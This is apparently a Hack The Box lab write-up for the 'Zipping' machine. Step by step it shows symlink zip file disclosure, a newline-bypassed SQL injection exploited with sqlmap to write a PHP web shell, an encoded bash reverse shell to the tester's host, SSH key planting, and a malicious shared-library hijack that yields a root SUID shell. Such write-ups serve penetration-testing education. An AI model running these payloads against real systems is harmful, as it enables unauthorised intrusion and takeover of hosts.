Description

Zipping is a medium Hack The Box machine that features:

  • SQL Injection in web application allowing reading source code and file writing
  • Source code enumerating leads to the discovery of a Local File Inclusion vulnerability
  • Previous vulnerabilities allowing Remote Command Execution
  • Privilege Escalation via a malicious library loaded from a binary allowed to run with SUDO

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.10.11.229.

$ ping -c 3 10.10.11.229
PING 10.10.11.229 (10.10.11.229) 56(84) bytes of data.
64 bytes from 10.10.11.229: icmp_seq=1 ttl=63 time=43.7 ms
64 bytes from 10.10.11.229: icmp_seq=2 ttl=63 time=42.8 ms
64 bytes from 10.10.11.229: icmp_seq=3 ttl=63 time=43.5 ms

--- 10.10.11.229 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 42.775/43.329/43.736/0.405 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.10.11.229 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.229
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds

We get two open ports: 22, and 80.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.10.11.229 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.229
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_  256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.74 seconds

We get two services: one Secure Shell (SSH), and one Hypertext Transfer Protocol (HTTP). As we don’t have feasible credentials for the SSH service we are going to move to the HTTP service. We add the zipping.htb domain to the /etc/hosts file.

$ echo '10.10.11.229 zipping.htb' | sudo tee -a /etc/hosts

In the web service we find a Watch Store, in which if we click in the Work with Us button, we can upload a file. The file is with with a HTTP POST request to the upload.php endpoint with a multi-part data Content-Type and the .zip file content as the zipFile parameter. We can only upload .zip files containing a .pdf file inside. After uploading a test file we find that the .pdf file is uploaded in the /uploads/<hexadecimal_string>/<name_of_pdf>.pdf directory. Inside .zip files symbolic links are allowed, so we can try to upload as a proof of concept a symbolic link pointing to the /etc/passwd file to find if it is shown.

$ ln -s /etc/passwd passwd.pdf
$ zip --symlinks passwd.zip passwd.pdf

Exploitation

Effectively the vulnerability is working and the /etc/passwd file is shown, with two console users: root and rektsu.

$ curl -s http://zipping.htb/uploads/10b01ae24e213fe106c75bbe4df4a5f8/passwd.pdf | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
rektsu:x:1001:1001::/home/rektsu:/bin/bash

Enumerating the contents of the website we find the the shop in the /shop link. The .php file used in this page is index.php and for a product the /shop/index.php?page=product&id=2 link is used. We are going to retrieve the contents of the index.php file using previous vulnerability and assuming that the root of the shop website is in /var/www/html/shop directory, as the server is Apache2.

$ ln -s /var/www/html/shop/index.php index.pdf
$ zip --symlinks index.zip index.pdf
$ curl -s http://zipping.htb/uploads/0f60ea65aa46390f64a9c3a2fbb5cd86/index.pdf
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>

We find the index.php is taking the page parameter and it is including on the web page the <page_parameter>.php file. This would be vulnerable to Local File Inclusion and then Remote Command Execution vulnerability if we could upload arbitrary .php files. We can enumerate the product.php file.

$ ln -s /var/www/html/shop/product.php product.pdf
$ zip --symlinks product.zip product.pdf
$ curl -s http://zipping.htb/uploads/207bfdc2afa8ee47fe7be9f6b5b47423/product.pdf                                                                     
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    // Filtering user input for letters or special characters
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        // Prepare statement and execute, but does not prevent SQL injection
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
        // Fetch the product from the database and return the result as an Array
        $product = $stmt->fetch(PDO::FETCH_ASSOC);
        // Check if the product exists (array is not empty)
        if (!$product) {
            // Simple error to display if the id for the product doesn't exists (array is empty)
            exit('Product does not exist!');
        }
    }
} else {
    // Simple error to display if the id wasn't specified
    exit('No ID provided!');
}
?>
...

Reviewing the source code, we find clearly a SQL query vulnerable to SQL injection, within the id parameter. But a check is done by using a regular expression (preg_match) to avoid it. The scope of the function is only checking a line, so if we enter multiple lines in the parameter, for example by using line-breaks (%0a), this check is bypassed. We check that in the end of the regular expression there is a number, so we need to use it in the end of the injected query. To exploit the vulnerability we can use sqlmap tool with is --prefix and --suffix options. We need to use the ' symbols to close the queries.

$ sqlmap -u 'http://zipping.htb/shop/index.php?page=product&id=1' -p id --prefix "%0a'" --suffix "'-- 1" --level 2
...
[INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 stacked queries (comment)' injectable
...
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
...
sqlmap identified the following injection point(s) with a total of 162 HTTP(s) requests:
---
Parameter: id (GET)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: page=product&id=1
';SELECT SLEEP(5)'-- 1
---
...

We can use this vulnerability to enumerate the user is running the database.

$ sqlmap -u 'http://zipping.htb/shop/index.php?page=product&id=1' -p id --prefix "%0a'" --suffix "'-- 1" --level 2 --current-user
...
current user: 'root@localhost'
...

We find that the MySQL user that is running the database is root, this means that we can try if we can upload a file to gain Remote Command Execution. For running SQL commands we can use the --sql-shell option. We know that MySQL has write permissions to the /var/lib/mysql/ directory. We will append the %00 value to the file name to not append the suffix of the query.

$ sqlmap -u 'http://zipping.htb/shop/index.php?page=product&id=1' -p id --prefix "%0a'" --suffix "'-- 1" --level 2 --sql-shell

sql-shell> select '<?php system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzEyMzQgMD4mMQ==|base64 -d|bash"); ?>' INTO OUTFILE '/var/lib/mysql/shell.php%00';

Now we can trigger the LFI+RCE vulnerability we discovered earlier.

$ nc -nvlp 1234
$ curl http://zipping.htb/shop/index.php?page=/var/lib/mysql/shell

We receive a reverse shell as the rektsu user, we upgrade the shell.

$ nc -nvlp 1234                                        
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.229] 52352
bash: cannot set terminal process group (1131): Inappropriate ioctl for device
bash: no job control in this shell
rektsu@zipping:/var/www/html/shop$ id
id
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
rektsu@zipping:/var/www/html/shop$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
rektsu@zipping:/var/www/html/shop$ ^Z
$ stty raw -echo; fg
$ reset xterm
rektsu@zipping:/var/www/html/shop$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Exploitation

We find that rektsu can run one command as root user, /usr/bin/stock.

rektsu@zipping:/var/www/html/shop$ cd /home/rektsu
rektsu@zipping:/home/rektsu$ sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock

It is a binary file.

rektsu@zipping:/home/rektsu$ file /usr/bin/stock
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped

We are going to create a SSH key to be able of spawning a stable shell and retrieve this binary file using SCP. In our machine:

$ ssh-keygen -t rsa -b 1024 -f id_rsa
$ cat id_rsa.pub                                                                 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDMKVeDl8lr1+23s4Jj3llfUS8driDqp8BSTgvE5ZPXin84d75m8nt+RUGLbq2Y9TnnOnCOfm6laTN9s8dohw0eKLoRfSIe4kLViEgEpKkrjzGY5p6BlpSZ62ZfJe+mmuqYERnOFp7xZs6OumJN9Cv2FsHrFTtMeXOE9HscpVuLSQ== user@localhost

In the remote machine:

rektsu@zipping:/home/rektsu$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDMKVeDl8lr1+23s4Jj3llfUS8driDqp8BSTgvE5ZPXin84d75m8nt+RUGLbq2Y9TnnOnCOfm6laTN9s8dohw0eKLoRfSIe4kLViEgEpKkrjzGY5p6BlpSZ62ZfJe+mmuqYERnOFp7xZs6OumJN9Cv2FsHrFTtMeXOE9HscpVuLSQ== user@localhost' >> /home/rektsu/.ssh/authorized_keys

We retrieve the file.

$ scp -i id_rsa rektsu@zipping.htb:/usr/bin/stock .

When we run the file, it is requesting a password.

rektsu@zipping:/home/rektsu$ sudo /usr/bin/stock 
Enter the password: 12345
Invalid password, please try again.

By running a simple strings analysis we find that the password is St0ckM4nager.

$ strings stock                                                                                                               
/lib64/ld-linux-x86-64.so.2
...
Hakaize
St0ckM4nager

With the program, we are able of seeing and editing the stock.

rektsu@zipping:/home/rektsu$ sudo /usr/bin/stock 
Enter the password: St0ckM4nager

================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

Select an option: 1

================== Stock Actual ==================

Colour     Black   Gold    Silver
Amount     4       15      5      

Quality   Excelent Average Poor
Amount    4         15      5   

Exclusive Yes    No
Amount    4      19  

Warranty  Yes    No
Amount    4      19  


================== Menu ==================

1) See the stock
2) Edit the stock
3) Exit the program

With the strace program we can trace the system call the program is doing when is running.

rektsu@zipping:/home/rektsu$ strace /usr/bin/stock
...
write(1, "Enter the password: ", 20Enter the password: )    = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024)         = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...

We find that it is trying to load the /home/rektsu/.config/libcounter.so library when running, but it is not found in the system. We can use this to create a malicious .so library that the program will run for creating a Bash SUID binary to gain full permissions over the system. We start by creating the library and by uploading the malicious library to the system.

$ msfvenom -p linux/x64/exec CMD='cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash' -f elf-so > libcounter.so
$ scp -i id_rsa libcounter.so rektsu@zipping.htb:/home/rektsu/.config/libcounter.so

Then we can re-run the binary in the remote system and the Bash binary will be created and we will be able of spawning a root shell.

rektsu@zipping:~$ sudo /usr/bin/stock 
Enter the password: St0ckM4nager
rektsu@zipping:~$ ls -l /tmp/suid-bash
-rwsr-xr-x 1 root root 1433736 /tmp/suid-bash
rektsu@zipping:~$ /tmp/suid-bash -p
suid-bash-5.2# id
uid=1001(rektsu) gid=1001(rektsu) euid=0(root) groups=1001(rektsu)

Flags

In the root shell we can retrieve the contents of the user.txt and root.txt files.

suid-bash-5.2# cat /home/rektsu/user.txt 
2246198d31032be44dace70a959ff8e9
suid-bash-5.2# cat /root/root.txt 
17b1efc55145a5bead5d9678c8a3bb1b